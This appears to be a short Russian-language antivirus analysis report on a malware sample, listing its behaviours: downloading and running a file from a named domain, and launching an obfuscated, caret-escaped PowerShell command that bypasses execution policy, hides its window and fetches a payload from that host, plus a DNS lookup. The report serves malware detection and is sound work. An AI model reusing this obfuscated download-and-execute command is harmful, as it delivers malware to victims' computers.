Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://cometogod.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^owe^RsH^E^lL.exe ^-eXec^ut^ionpo^Li^cy^ ^B^y^pa^ss -^NoPr^O^FilE -wINd^ow^St^y^l^e hIDden ^(N^ew-oBJ^E^c^T ^syStem.^N^E^T.WEBCLIE^NT).DoW^NL^oAdFi^l^e^('http://cometogod.t...
Сетевая активность
UDP
- DNS ASK co###ogod.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^owe^RsH^E^lL.exe ^-eXec^ut^ionpo^Li^cy^ ^B^y^pa^ss -^NoPr^O^FilE -wINd^ow^St^y^l^e hIDden ^(N^ew-oBJ^E^c^T ^syStem.^N^E^T.WEBCLIE^NT).DoW^NL^oAdFi^l^e^('http://cometogod.t...' (со скрытым окном)
